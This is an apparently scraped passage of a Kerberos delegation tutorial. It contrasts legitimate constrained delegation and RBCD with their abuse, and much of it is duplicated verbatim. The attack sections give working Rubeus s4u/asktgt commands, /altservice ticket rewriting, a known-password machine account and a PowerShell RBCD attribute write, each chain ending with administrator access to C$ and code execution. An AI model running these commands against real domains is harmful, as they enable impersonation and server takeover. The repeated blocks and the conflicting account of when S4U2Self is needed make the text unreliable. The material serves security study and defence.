_FOR_DELEGATION:
This means:
→ PatientPortalSvc can delegate to SQL on SQLMED01 ONLY
→ Cannot delegate to HR database, pharmacy system, billing, etc.
→ The "constraint" limits which services can be accessed!
Dr. Khalid (Cardiology) logs into the portal:
① Portal authenticates Dr. Khalid (Windows Authentication / NTLM)
② Portal → KDC: S4U2Self → "Dr. Khalid accessed me" → TGS created
③ Portal → KDC: S4U2Proxy → "Give me SQL ticket as Dr. Khalid"
④ KDC: is MSSQLSvc/SQLMED01 in AllowedToDelegateTo? → YES ✅
⑤ Portal → SQL: connects as Dr. Khalid
⑥ SQL: Dr. Khalid is in "Cardiology" AD group → Row-Level Security
⑦ SQL returns ONLY Cardiology patients! ✅
⑧ Database log: "Dr. Khalid accessed Patient #12345 at 3:00 PM" (HIPAA ✅)
Dr. Fatima (Oncology) logs in → same flow → only Oncology patients!
Portal tries to access HR database:
① Portal → KDC: "Give me a TGS for HRDatabase as Dr. Khalid"
② KDC: is HRDatabase in AllowedToDelegateTo? → NO! ❌
③ KDC: "You're not allowed to delegate there!" → DENIED!
→ The CONSTRAINT prevents access to unauthorized services!The Attack
An attacker compromises the PatientPortalSvc service account — through Kerberoasting (cracking the service ticket hash), credential theft from a config file, or dumping from memory.
Step 1: Get the service account's hash
Rubeus.exe hash /password:P@tientP0rtal2024
→ rc4_hmac: 2892D26CDF84D7A70E2EB3B9F05C425E
Step 2: Request a TGT for the service account
Rubeus.exe asktgt /user:PatientPortalSvc /domain:hospital.local /rc4:<HASH>
→ TGT for PatientPortalSvc (service name = krbtgt = this IS a TGT!)
→ Don't need to be ON the portal server — run from ANY machine with the hash!
Step 3: S4U attack — impersonate administrator to SQL
Rubeus.exe s4u /ticket:<TGT_BASE64> /impersonateuser:administrator
/msdsspn:MSSQLSvc/SQLMED01.hospital.local:1433 /ptt
→ S4U2Self: TGS saying "administrator accessed PatientPortalSvc" (no password!)
→ S4U2Proxy: TGS saying "administrator can access SQL on SQLMED01"
→ KDC checks AllowedToDelegateTo → MSSQLSvc/SQLMED01 listed → allowed! ✅
→ TGS injected into memory!
Step 4: Access SQL as administrator
→ Connected as administrator → sysadmin → xp_cmdshell → OS commands!
→ Full server compromise through constrained delegation abuse!Step 1: Get the service account's hash
Rubeus.exe hash /password:P@tientP0rtal2024
→ rc4_hmac: 2892D26CDF84D7A70E2EB3B9F05C425E
Step 2: Request a TGT for the service account
Rubeus.exe asktgt /user:PatientPortalSvc /domain:hospital.local /rc4:<HASH>
→ TGT for PatientPortalSvc (service name = krbtgt = this IS a TGT!)
→ Don't need to be ON the portal server — run from ANY machine with the hash!
Step 3: S4U attack — impersonate administrator to SQL
Rubeus.exe s4u /ticket:<TGT_BASE64> /impersonateuser:administrator
/msdsspn:MSSQLSvc/SQLMED01.hospital.local:1433 /ptt
→ S4U2Self: TGS saying "administrator accessed PatientPortalSvc" (no password!)
→ S4U2Proxy: TGS saying "administrator can access SQL on SQLMED01"
→ KDC checks AllowedToDelegateTo → MSSQLSvc/SQLMED01 listed → allowed! ✅
→ TGS injected into memory!
Step 4: Access SQL as administrator
→ Connected as administrator → sysadmin → xp_cmdshell → OS commands!
→ Full server compromise through constrained delegation abuse!The /altservice Trick
The TGS returned by the KDC contains two parts:
Server name: SQLMED01.hospital.local → ENCRYPTED (can't change!)
Service name: MSSQLSvc → NOT encrypted (CAN change!)
If you change the service name after receiving the ticket:
Original: MSSQLSvc/SQLMED01:1433 → access SQL Server
Modified: CIFS/SQLMED01:1433 → access file shares (C$ drive!)
Modified: HOST/SQLMED01:1433 → PsExec → code execution!
Rubeus.exe s4u ... /altservice:CIFS /ptt
→ Takes the SQL ticket → changes MSSQLSvc to CIFS → file share access!
Limitation: if the SPN includes a port (:1433), the modified ticket might
not work for services that don't use that port.
SPNs without ports (www/SQLMED01) → /altservice works perfectly!The TGS returned by the KDC contains two parts:
Server name: SQLMED01.hospital.local → ENCRYPTED (can't change!)
Service name: MSSQLSvc → NOT encrypted (CAN change!)
If you change the service name after receiving the ticket:
Original: MSSQLSvc/SQLMED01:1433 → access SQL Server
Modified: CIFS/SQLMED01:1433 → access file shares (C$ drive!)
Modified: HOST/SQLMED01:1433 → PsExec → code execution!
Rubeus.exe s4u ... /altservice:CIFS /ptt
→ Takes the SQL ticket → changes MSSQLSvc to CIFS → file share access!
Limitation: if the SPN includes a port (:1433), the modified ticket might
not work for services that don't use that port.
SPNs without ports (www/SQLMED01) → /altservice works perfectly!Why It's Dangerous
→ Attacker only needs the service account's hash (not the user's password!)
→ Can impersonate ANY user to the allowed services (S4U2Self — no password!)
→ TRUSTED_TO_AUTH_FOR_DELEGATION makes S4U2Self work without Kerberos auth
→ /altservice can sometimes expand access beyond the configured SPNs
→ Don't need to be on the service's machine — run from anywhere with the hash!→ Attacker only needs the service account's hash (not the user's password!)
→ Can impersonate ANY user to the allowed services (S4U2Self — no password!)
→ TRUSTED_TO_AUTH_FOR_DELEGATION makes S4U2Self work without Kerberos auth
→ /altservice can sometimes expand access beyond the configured SPNs
→ Don't need to be on the service's machine — run from anywhere with the hash!Part 4: Resource-Based Constrained Delegation — RBCD (Windows 2012)
Definition
"Resource-Based" = the TARGET (resource) controls who can delegate to it. "Constrained" = still has limits. Combined: the target service decides which frontends are allowed to delegate users to it — with restrictions.
Theory: How It Works
RBCD uses the same S4U2Self + S4U2Proxy mechanism as regular constrained delegation. The ONLY difference is WHERE the KDC checks authorization:
Constrained:
KDC checks: "Is the target SPN in the FRONTEND's msDS-AllowedToDelegateTo?"
→ The SENDER controls where it can delegate
→ Attribute is on the FRONTEND service
RBCD:
KDC checks: "Is the source's SID in the TARGET's
msDS-AllowedToActOnBehalfOfOtherIdentity?"
→ The RECEIVER controls who can delegate to it
→ Attribute is on the TARGET/BACKEND service
The Kerberos flow for RBCD (step by step):Constrained:
KDC checks: "Is the target SPN in the FRONTEND's msDS-AllowedToDelegateTo?"
→ The SENDER controls where it can delegate
→ Attribute is on the FRONTEND service
RBCD:
KDC checks: "Is the source's SID in the TARGET's
msDS-AllowedToActOnBehalfOfOtherIdentity?"
→ The RECEIVER controls who can delegate to it
→ Attribute is on the TARGET/BACKEND service
The Kerberos flow for RBCD (step by step):
FLOW A — NORMAL LEGITIMATE USE (understand this first!):
Scenario: The inventory team (not Domain Admins!) configured RBCD so their
web app can access their SQL Server on behalf of logged-in users.
PREREQUISITE (one-time setup by the inventory team):
→ Inventory team owns INVSQL01 (the SQL Server)
→ They set INVSQL01's msDS-AllowedToActOnBehalfOfOtherIdentity = WebAppSvc's SID
→ "INVSQL01 allows delegation FROM WebAppSvc"
→ No Domain Admin was needed! The resource owner did it themselves!
THE KERBEROS FLOW (happens every time a user visits the web app):
① User (Sarah) → KDC: "Give me a TGS for the web app"
→ Sarah sends her TGT to the KDC
→ Requests a TGS for HTTP/webapp01 (the web app's SPN)
→ Normal Kerberos — nothing special yet!
② KDC → Sarah: returns a FORWARDABLE TGS for the web app
→ The TGS has the FORWARDABLE flag set
→ This flag tells the web app: "you can use this TGS for S4U2Proxy"
→ KDC sets this because delegation is configured for the web app
③ Sarah → Web App: sends the forwardable TGS
→ Web App validates the TGS → Sarah is authenticated ✅
→ Web App now HAS a Kerberos TGS from Sarah!
→ This TGS proves: "Sarah authenticated to the web app via Kerberos"
→ Because we have a real Kerberos TGS → S4U2Self is NOT needed!
→ TRUSTED_TO_AUTH_FOR_DELEGATION flag is NOT required!
④ Web App (WebAppSvc) → KDC: S4U2Proxy request
→ "Here's Sarah's forwardable TGS (proof she accessed me).
Now give me a TGS for CIFS/INVSQL01 as Sarah."
→ Presents Sarah's own TGS as evidence
→ This goes DIRECTLY to S4U2Proxy — no S4U2Self step!
⑤ KDC processes the S4U2Proxy request:
→ Validates Sarah's TGS → valid and forwardable? → YES ✅
→ Now checks: "Is WebAppSvc allowed to delegate to INVSQL01?"
→ KEY RBCD CHECK: KDC reads INVSQL01's attribute (the TARGET!):
msDS-AllowedToActOnBehalfOfOtherIdentity on INVSQL01
→ "Is WebAppSvc's SID in this attribute?" → YES ✅
(the inventory team set this in the prerequisite!)
→ Creates TGS: "Sarah can access CIFS on INVSQL01"
→ Returns to WebAppSvc
Compare to constrained delegation step ⑤:
Constrained: KDC checks the FRONTEND's msDS-AllowedToDelegateTo
RBCD: KDC checks the TARGET's msDS-AllowedToActOnBehalfOfOtherIdentity
Same S4U2Proxy mechanism! Different place the KDC looks!
⑥ Web App → INVSQL01: presents the TGS → "I'm Sarah"
→ INVSQL01 validates the TGS → sees Sarah's identity
→ Sarah is in "Retail Staff" AD group → sees available products
→ Manager Ahmed → same flow → "Inventory Managers" → sees cost prices too!
⑦ INVSQL01 → Web App → Sarah: inventory data returned!
→ Per-user access! ✅
→ Database log: "Sarah accessed inventory at 3:00 PM" ✅
This is how RBCD works in NORMAL legitimate use.
The resource owner configured it. Users authenticate via Kerberos.
S4U2Proxy handles delegation. No S4U2Self needed. FLOW A — NORMAL LEGITIMATE USE (understand this first!):
Scenario: The inventory team (not Domain Admins!) configured RBCD so their
web app can access their SQL Server on behalf of logged-in users.
PREREQUISITE (one-time setup by the inventory team):
→ Inventory team owns INVSQL01 (the SQL Server)
→ They set INVSQL01's msDS-AllowedToActOnBehalfOfOtherIdentity = WebAppSvc's SID
→ "INVSQL01 allows delegation FROM WebAppSvc"
→ No Domain Admin was needed! The resource owner did it themselves!
THE KERBEROS FLOW (happens every time a user visits the web app):
① User (Sarah) → KDC: "Give me a TGS for the web app"
→ Sarah sends her TGT to the KDC
→ Requests a TGS for HTTP/webapp01 (the web app's SPN)
→ Normal Kerberos — nothing special yet!
② KDC → Sarah: returns a FORWARDABLE TGS for the web app
→ The TGS has the FORWARDABLE flag set
→ This flag tells the web app: "you can use this TGS for S4U2Proxy"
→ KDC sets this because delegation is configured for the web app
③ Sarah → Web App: sends the forwardable TGS
→ Web App validates the TGS → Sarah is authenticated ✅
→ Web App now HAS a Kerberos TGS from Sarah!
→ This TGS proves: "Sarah authenticated to the web app via Kerberos"
→ Because we have a real Kerberos TGS → S4U2Self is NOT needed!
→ TRUSTED_TO_AUTH_FOR_DELEGATION flag is NOT required!
④ Web App (WebAppSvc) → KDC: S4U2Proxy request
→ "Here's Sarah's forwardable TGS (proof she accessed me).
Now give me a TGS for CIFS/INVSQL01 as Sarah."
→ Presents Sarah's own TGS as evidence
→ This goes DIRECTLY to S4U2Proxy — no S4U2Self step!
⑤ KDC processes the S4U2Proxy request:
→ Validates Sarah's TGS → valid and forwardable? → YES ✅
→ Now checks: "Is WebAppSvc allowed to delegate to INVSQL01?"
→ KEY RBCD CHECK: KDC reads INVSQL01's attribute (the TARGET!):
msDS-AllowedToActOnBehalfOfOtherIdentity on INVSQL01
→ "Is WebAppSvc's SID in this attribute?" → YES ✅
(the inventory team set this in the prerequisite!)
→ Creates TGS: "Sarah can access CIFS on INVSQL01"
→ Returns to WebAppSvc
Compare to constrained delegation step ⑤:
Constrained: KDC checks the FRONTEND's msDS-AllowedToDelegateTo
RBCD: KDC checks the TARGET's msDS-AllowedToActOnBehalfOfOtherIdentity
Same S4U2Proxy mechanism! Different place the KDC looks!
⑥ Web App → INVSQL01: presents the TGS → "I'm Sarah"
→ INVSQL01 validates the TGS → sees Sarah's identity
→ Sarah is in "Retail Staff" AD group → sees available products
→ Manager Ahmed → same flow → "Inventory Managers" → sees cost prices too!
⑦ INVSQL01 → Web App → Sarah: inventory data returned!
→ Per-user access! ✅
→ Database log: "Sarah accessed inventory at 3:00 PM" ✅
This is how RBCD works in NORMAL legitimate use.
The resource owner configured it. Users authenticate via Kerberos.
S4U2Proxy handles delegation. No S4U2Self needed.
FLOW B — ATTACKER PERSPECTIVE (now that you understand the normal flow):
The attacker ABUSES RBCD by configuring it themselves:
→ They have GenericWrite on a computer → can set the RBCD attribute!
→ They create a computer account they control → become the "frontend"!
→ They DON'T have the target user's Kerberos ticket
→ So they MUST use S4U2Self to create one from nothing!
(Attacker doesn't have the target user's Kerberos TGS → must use S4U2Self!)
── SETUP PHASE (before Kerberos — no KDC involved!) ──
① Attacker creates a computer account they control:
→ New-MachineAccount -MachineAccount evilPC -Password 'Attack123'
→ evilPC$ created in AD with SPNs (HOST/evilPC, RestrictedKrbHost/evilPC)
→ Attacker chose the password → knows the NTLM hash!
→ Any domain user can create up to 10 computer accounts (default quota!)
② Attacker sets RBCD on the target:
→ Writes evilPC$'s SID to INVSQL01's msDS-AllowedToActOnBehalfOfOtherIdentity
→ "INVSQL01 now allows delegation FROM evilPC$"
→ Attacker can do this because they have GenericWrite on INVSQL01!
── S4U ATTACK PHASE (Kerberos) ──
③ evilPC$ → KDC: asktgt request
→ "I'm evilPC$, here's my NTLM hash" (attacker knows it — they chose it!)
→ KDC validates → issues TGT for evilPC$
④ KDC → evilPC$: returns TGT
→ evilPC$ now has a valid TGT (service name = krbtgt = this IS a TGT!)
⑤ evilPC$ → KDC: S4U2Self request
→ "I'm evilPC$ (here's my TGT).
Create a TGS as if administrator accessed evilPC."
→ evilPC$ does NOT need administrator's password!
⑥ KDC → evilPC$: returns S4U2Self TGS
→ TGS saying "administrator accessed evilPC" ✅
→ This is the INPUT for S4U2Proxy
⑦ evilPC$ → KDC: S4U2Proxy request
→ "Here's the S4U2Self TGS (proof admin accessed evilPC).
Give me a TGS for CIFS/INVSQL01 as administrator."
⑧ KDC processes S4U2Proxy:
→ Validates the S4U2Self TGS → valid ✅
→ Checks INVSQL01's msDS-AllowedToActOnBehalfOfOtherIdentity:
"Is evilPC$'s SID in INVSQL01's allowed list?"
→ We set it in step ② → YES! ✅
→ Creates TGS: "administrator can access CIFS on INVSQL01"
→ Returns to evilPC$
⑨ evilPC$ injects the TGS:
→ Rubeus ptt → TGS for CIFS/INVSQL01 as admin injected into memory!
⑩ Attacker accesses the target:
→ dir \\INVSQL01\c$ → browsing C: drive as administrator! ✅
→ Full file system access → upload tools → code execution!
KEY DIFFERENCE from constrained (step ⑧):
Constrained: KDC checks the FRONTEND's msDS-AllowedToDelegateTo
→ "Is CIFS/INVSQL01 in evilPC's allowed list?" (source controls!)
RBCD: KDC checks the TARGET's msDS-AllowedToActOnBehalfOfOtherIdentity
→ "Is evilPC$'s SID in INVSQL01's allowed list?" (target controls!)
Same S4U mechanism! Same ticket types!
The ONLY difference: WHERE the KDC looks for authorization!
WHEN IS S4U2SELF NEEDED? (applies to both Constrained and RBCD!)
Flow A (Kerberos) Flow B (NTLM / Attack)
User auth: Kerberos TGS NTLM or none (attack!)
S4U2Self: NOT needed (skip!) NEEDED (create TGS!)
S4U2Proxy: Uses user's own TGS Uses S4U2Self TGS
Flag required: NO YES (TRUSTED_TO_AUTH...)
Used by: Legitimate services Attackers!
Attackers ALWAYS use Flow B because:
→ They have the SERVICE ACCOUNT's hash (not the user's Kerberos ticket!)
→ They CANNOT make the target user send a forwardable TGS!
→ So they use S4U2Self: "administrator accessed me" (no password!)
→ Then S4U2Proxy to get the backend ticket!
FLOW B — ATTACKER PERSPECTIVE (now that you understand the normal flow):
The attacker ABUSES RBCD by configuring it themselves:
→ They have GenericWrite on a computer → can set the RBCD attribute!
→ They create a computer account they control → become the "frontend"!
→ They DON'T have the target user's Kerberos ticket
→ So they MUST use S4U2Self to create one from nothing!
(Attacker doesn't have the target user's Kerberos TGS → must use S4U2Self!)
── SETUP PHASE (before Kerberos — no KDC involved!) ──
① Attacker creates a computer account they control:
→ New-MachineAccount -MachineAccount evilPC -Password 'Attack123'
→ evilPC$ created in AD with SPNs (HOST/evilPC, RestrictedKrbHost/evilPC)
→ Attacker chose the password → knows the NTLM hash!
→ Any domain user can create up to 10 computer accounts (default quota!)
② Attacker sets RBCD on the target:
→ Writes evilPC$'s SID to INVSQL01's msDS-AllowedToActOnBehalfOfOtherIdentity
→ "INVSQL01 now allows delegation FROM evilPC$"
→ Attacker can do this because they have GenericWrite on INVSQL01!
── S4U ATTACK PHASE (Kerberos) ──
③ evilPC$ → KDC: asktgt request
→ "I'm evilPC$, here's my NTLM hash" (attacker knows it — they chose it!)
→ KDC validates → issues TGT for evilPC$
④ KDC → evilPC$: returns TGT
→ evilPC$ now has a valid TGT (service name = krbtgt = this IS a TGT!)
⑤ evilPC$ → KDC: S4U2Self request
→ "I'm evilPC$ (here's my TGT).
Create a TGS as if administrator accessed evilPC."
→ evilPC$ does NOT need administrator's password!
⑥ KDC → evilPC$: returns S4U2Self TGS
→ TGS saying "administrator accessed evilPC" ✅
→ This is the INPUT for S4U2Proxy
⑦ evilPC$ → KDC: S4U2Proxy request
→ "Here's the S4U2Self TGS (proof admin accessed evilPC).
Give me a TGS for CIFS/INVSQL01 as administrator."
⑧ KDC processes S4U2Proxy:
→ Validates the S4U2Self TGS → valid ✅
→ Checks INVSQL01's msDS-AllowedToActOnBehalfOfOtherIdentity:
"Is evilPC$'s SID in INVSQL01's allowed list?"
→ We set it in step ② → YES! ✅
→ Creates TGS: "administrator can access CIFS on INVSQL01"
→ Returns to evilPC$
⑨ evilPC$ injects the TGS:
→ Rubeus ptt → TGS for CIFS/INVSQL01 as admin injected into memory!
⑩ Attacker accesses the target:
→ dir \\INVSQL01\c$ → browsing C: drive as administrator! ✅
→ Full file system access → upload tools → code execution!
KEY DIFFERENCE from constrained (step ⑧):
Constrained: KDC checks the FRONTEND's msDS-AllowedToDelegateTo
→ "Is CIFS/INVSQL01 in evilPC's allowed list?" (source controls!)
RBCD: KDC checks the TARGET's msDS-AllowedToActOnBehalfOfOtherIdentity
→ "Is evilPC$'s SID in INVSQL01's allowed list?" (target controls!)
Same S4U mechanism! Same ticket types!
The ONLY difference: WHERE the KDC looks for authorization!
WHEN IS S4U2SELF NEEDED? (applies to both Constrained and RBCD!)
Flow A (Kerberos) Flow B (NTLM / Attack)
User auth: Kerberos TGS NTLM or none (attack!)
S4U2Self: NOT needed (skip!) NEEDED (create TGS!)
S4U2Proxy: Uses user's own TGS Uses S4U2Self TGS
Flag required: NO YES (TRUSTED_TO_AUTH...)
Used by: Legitimate services Attackers!
Attackers ALWAYS use Flow B because:
→ They have the SERVICE ACCOUNT's hash (not the user's Kerberos ticket!)
→ They CANNOT make the target user send a forwardable TGS!
→ So they use S4U2Self: "administrator accessed me" (no password!)
→ Then S4U2Proxy to get the backend ticket!The critical improvement: configuring RBCD does NOT require Domain Admin privileges! The resource owner (whoever manages the target server) can configure it. This removes the operational bottleneck where every delegation change required Domain Admin intervention.
AD Configuration Required
To enable RBCD, ONE attribute must be configured:
── ATTRIBUTE: msDS-AllowedToActOnBehalfOfOtherIdentity ──
Object: The TARGET computer/service (the backend being accessed)
Attribute: msDS-AllowedToActOnBehalfOfOtherIdentity
Value: A security descriptor containing the SID(s) of allowed frontends
Format: Binary (raw security descriptor bytes)
Example:
On INVSQL01 (the inventory SQL Server):
msDS-AllowedToActOnBehalfOfOtherIdentity =
Security Descriptor containing WebAppSvc's SID
This means:
→ WebAppSvc CAN delegate to INVSQL01 ✅
→ Other services CANNOT delegate to INVSQL01 ❌
→ The TARGET (INVSQL01) controls who can come in!
── WHO CONFIGURES THIS ──
Configured by: the resource OWNER (whoever has write access to the computer object!)
Configured on: the TARGET service/computer (the one being accessed)
Does NOT require: Domain Admin privileges!
Does NOT require: SeEnableDelegationPrivilege!
This is the key difference from regular constrained delegation:
Constrained: Domain Admin configures the FRONTEND → bottleneck!
RBCD: Resource owner configures the TARGET → no bottleneck!
How it's set (PowerShell):
$sid = Get-DomainComputer -Identity WebAppSvc -Properties objectsid |
Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList
"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))"
$SDbytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDbytes, 0)
Get-DomainComputer -Identity INVSQL01 | Set-DomainObject -Set @{
'msds-allowedtoactonbehalfofotheridentity'=$SDBytes
}
── ADDITIONAL REQUIREMENT: The frontend must have an SPN ──
S4U extensions require the calling identity to have SPNs registered.
→ User accounts typically don't have SPNs → can't be used as frontend!
→ Computer accounts AUTOMATICALLY get SPNs (HOST/, RestrictedKrbHost/)
→ Service accounts with SPNs (e.g., HTTP/webserver) also work!
This is why RBCD attacks create a new computer account:
→ Any domain user can create up to 10 computer accounts (ms-DS-MachineAccountQuota!)
→ Computer accounts get SPNs automatically → S4U works!
→ Attacker controls the password → knows the hash → can authenticate!
How to verify (PowerView):
Get-DomainComputer INVSQL01 -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
→ Read the attribute → convert from binary → check which SIDs are allowedTo enable RBCD, ONE attribute must be configured:
── ATTRIBUTE: msDS-AllowedToActOnBehalfOfOtherIdentity ──
Object: The TARGET computer/service (the backend being accessed)
Attribute: msDS-AllowedToActOnBehalfOfOtherIdentity
Value: A security descriptor containing the SID(s) of allowed frontends
Format: Binary (raw security descriptor bytes)
Example:
On INVSQL01 (the inventory SQL Server):
msDS-AllowedToActOnBehalfOfOtherIdentity =
Security Descriptor containing WebAppSvc's SID
This means:
→ WebAppSvc CAN delegate to INVSQL01 ✅
→ Other services CANNOT delegate to INVSQL01 ❌
→ The TARGET (INVSQL01) controls who can come in!
── WHO CONFIGURES THIS ──
Configured by: the resource OWNER (whoever has write access to the computer object!)
Configured on: the TARGET service/computer (the one being accessed)
Does NOT require: Domain Admin privileges!
Does NOT require: SeEnableDelegationPrivilege!
This is the key difference from regular constrained delegation:
Constrained: Domain Admin configures the FRONTEND → bottleneck!
RBCD: Resource owner configures the TARGET → no bottleneck!
How it's set (PowerShell):
$sid = Get-DomainComputer -Identity WebAppSvc -Properties objectsid |
Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList
"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))"
$SDbytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDbytes, 0)
Get-DomainComputer -Identity INVSQL01 | Set-DomainObject -Set @{
'msds-allowedtoactonbehalfofotheridentity'=$SDBytes
}
── ADDITIONAL REQUIREMENT: The frontend must have an SPN ──
S4U extensions require the calling identity to have SPNs registered.
→ User accounts typically don't have SPNs → can't be used as frontend!
→ Computer accounts AUTOMATICALLY get SPNs (HOST/, RestrictedKrbHost/)
→ Service accounts with SPNs (e.g., HTTP/webserver) also work!
This is why RBCD attacks create a new computer account:
→ Any domain user can create up to 10 computer accounts (ms-DS-MachineAccountQuota!)
→ Computer accounts get SPNs automatically → S4U works!
→ Attacker controls the password → knows the hash → can authenticate!
How to verify (PowerView):
Get-DomainComputer INVSQL01 -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
→ Read the attribute → convert from binary → check which SIDs are allowedReal-World Scenario: E-Commerce Inventory Platform
A retail company runs an e-commerce platform. The inventory team manages their own SQL Server (INVSQL01) and wants the web application (running as WebAppSvc) to delegate to their SQL Server. With regular constrained delegation, they'd need to ask the Domain Admin and wait days. With RBCD, they configure it on their own server in minutes.
Configuration (done by the inventory team, NOT Domain Admin!):
Target server: INVSQL01.retail.local (inventory SQL Server)
msDS-AllowedTo Security descriptor containing WebAppSvc's SID
ActOnBehalf...:
"INVSQL01 allows delegation FROM WebAppSvc"
→ The inventory team set this on THEIR server!
→ No Domain Admin involvement!
Customer Sarah browses the store:
① Sarah → Web App: views product availability
② Web App (WebAppSvc) → KDC: S4U2Self → "Sarah accessed me"
③ Web App → KDC: S4U2Proxy → "Give me SQL ticket for INVSQL01 as Sarah"
④ KDC checks INVSQL01: "Is WebAppSvc in AllowedToActOnBehalf?" → YES ✅
⑤ Web App → SQL: connects as Sarah → Sarah sees available products ✅
Manager Ahmed checks inventory levels:
→ Same flow → SQL sees Ahmed is in "InventoryManagers" group
→ Ahmed sees full inventory with cost prices (Sarah only saw retail prices!)Configuration (done by the inventory team, NOT Domain Admin!):
Target server: INVSQL01.retail.local (inventory SQL Server)
msDS-AllowedTo Security descriptor containing WebAppSvc's SID
ActOnBehalf...:
"INVSQL01 allows delegation FROM WebAppSvc"
→ The inventory team set this on THEIR server!
→ No Domain Admin involvement!
Customer Sarah browses the store:
① Sarah → Web App: views product availability
② Web App (WebAppSvc) → KDC: S4U2Self → "Sarah accessed me"
③ Web App → KDC: S4U2Proxy → "Give me SQL ticket for INVSQL01 as Sarah"
④ KDC checks INVSQL01: "Is WebAppSvc in AllowedToActOnBehalf?" → YES ✅
⑤ Web App → SQL: connects as Sarah → Sarah sees available products ✅
Manager Ahmed checks inventory levels:
→ Same flow → SQL sees Ahmed is in "InventoryManagers" group
→ Ahmed sees full inventory with cost prices (Sarah only saw retail prices!)The Attack
RBCD creates a unique attack path: GenericWrite on a computer object → configure RBCD → impersonate Domain Admin to that computer. This is the ONLY known way to turn GenericWrite on a computer into code execution.
Attack prerequisites:
① GenericWrite (or GenericAll/WriteProperty/WriteDACL) on a computer object
② ms-DS-MachineAccountQuota > 0 (default: 10 — any user can create computers!)
③ That's it! No Domain Admin needed. No service account hash needed.
Step 1: Find GenericWrite on computer objects
Get-DomainComputer | Get-ObjectAcl -ResolveGUIDs | ...filter...
→ dave has GenericWrite on INVSQL01! → can write to its attributes!
Step 2: Check machine account quota
Get-DomainObject -Identity retail -Properties ms-DS-MachineAccountQuota
→ ms-DS-MachineAccountQuota = 10 → dave can create computer accounts!
Step 3: Create a computer account with a known password
New-MachineAccount -MachineAccount evilPC -Password $(ConvertTo-SecureString 'Attack123' -AsPlainText -Force)
→ evilPC$ created with SPNs (HOST/evilPC, RestrictedKrbHost/evilPC)
→ Password is "Attack123" → dave knows the hash!
Step 4: Set RBCD on the target
→ Write evilPC$'s SID to INVSQL01's msDS-AllowedToActOnBehalfOfOtherIdentity
→ "INVSQL01 now allows delegation FROM evilPC$"
→ dave can do this because GenericWrite allows writing to this attribute!
Step 5: S4U attack from evilPC$
Rubeus.exe s4u /user:evilPC$ /rc4:<HASH> /impersonateuser:administrator
/msdsspn:CIFS/INVSQL01.retail.local /ptt
→ Stage 0 (asktgt): TGT for evilPC$
→ Stage 1 (S4U2Self): TGS as administrator to evilPC
→ Stage 2 (S4U2Proxy): TGS as administrator to CIFS/INVSQL01
→ KDC checks: evilPC$ in INVSQL01's AllowedToActOnBehalf? → YES! ✅
→ TGS injected!
Step 6: Access the target as Domain Admin!
dir \\INVSQL01.retail.local\c$ → browsing C: drive as administrator! ✅
→ Full file system access → upload tools → code execution!
Note: this is a network login (type 3) → access limited to INVSQL01 only
→ Can't directly pivot further, but have full access to this server!Attack prerequisites:
① GenericWrite (or GenericAll/WriteProperty/WriteDACL) on a computer object
② ms-DS-MachineAccountQuota > 0 (default: 10 — any user can create computers!)
③ That's it! No Domain Admin needed. No service account hash needed.
Step 1: Find GenericWrite on computer objects
Get-DomainComputer | Get-ObjectAcl -ResolveGUIDs | ...filter...
→ dave has GenericWrite on INVSQL01! → can write to its attributes!
Step 2: Check machine account quota
Get-DomainObject -Identity retail -Properties ms-DS-MachineAccountQuota
→ ms-DS-MachineAccountQuota = 10 → dave can create computer accounts!
Step 3: Create a computer account with a known password
New-MachineAccount -MachineAccount evilPC -Password $(ConvertTo-SecureString 'Attack123' -AsPlainText -Force)
→ evilPC$ created with SPNs (HOST/evilPC, RestrictedKrbHost/evilPC)
→ Password is "Attack123" → dave knows the hash!
Step 4: Set RBCD on the target
→ Write evilPC$'s SID to INVSQL01's msDS-AllowedToActOnBehalfOfOtherIdentity
→ "INVSQL01 now allows delegation FROM evilPC$"
→ dave can do this because GenericWrite allows writing to this attribute!
Step 5: S4U attack from evilPC$
Rubeus.exe s4u /user:evilPC$ /rc4:<HASH> /impersonateuser:administrator
/msdsspn:CIFS/INVSQL01.retail.local /ptt
→ Stage 0 (asktgt): TGT for evilPC$
→ Stage 1 (S4U2Self): TGS as administrator to evilPC
→ Stage 2 (S4U2Proxy): TGS as administrator to CIFS/INVSQL01
→ KDC checks: evilPC$ in INVSQL01's AllowedToActOnBehalf? → YES! ✅
→ TGS injected!
Step 6: Access the target as Domain Admin!
dir \\INVSQL01.retail.local\c$ → browsing C: drive as administrator! ✅
→ Full file system access → upload tools → code execution!
Note: this is a network login (type 3) → access limited to INVSQL01 only
→ Can't directly pivot further, but have full access to this server!Why It's Dangerous
→ GenericWrite on a computer = code execution on that computer!
→ Any domain user can create computer accounts (default quota: 10!)
→ No Domain Admin privileges needed for the ENTIRE attack!
→ No service account hash needed (you CREATE the computer with your own password!)
→ The ONLY known way to turn GenericWrite on a computer into code execution→ GenericWrite on a computer = code execution on that computer!
→ Any domain user can create computer accounts (default quota: 10!)
→ No Domain Admin privileges needed for the ENTIRE attack!
→ No service account hash needed (you CREATE the computer with your own password!)
→ The ONLY known way to turn GenericWrite on a computer into code executionPart 5: All Three Types — Complete Comparison
┌─────────────────────┬──────────────────┬──────────────────┬──────────────────┐
│ │ Unconstrained │ Constrained │ RBCD │
├─────────────────────┼──────────────────┼──────────────────┼──────────────────┤
│ Year │ 2000 │ 2003 │ 2012 │
│ User's TGT sent? │ YES (forwarded!) │ NO │ NO │
│ Mechanism │ TGT forwarding │ S4U2Self+Proxy │ S4U2Self+Proxy │
│ Can delegate to │ ANY service │ Listed SPNs only │ Configured by │
│ │ │ │ target │
│ KDC checks │ Nothing (TGT │ AllowedTo │ AllowedToAct │
│ │ = master key) │ DelegateTo │ OnBehalfOf... │
│ Attribute on │ Frontend (flag) │ Frontend (list) │ BACKEND (list) │
│ Key AD attribute │ TRUSTED_FOR_ │ msDS-AllowedTo │ msDS-AllowedTo │
│ │ DELEGATION │ DelegateTo + │ ActOnBehalfOf │
│ │ (UAC flag) │ TRUSTED_TO_AUTH │ OtherIdentity │
│ │ │ _FOR_DELEGATION │ │
│ Configured by │ Domain Admin │ Domain Admin │ Resource owner │
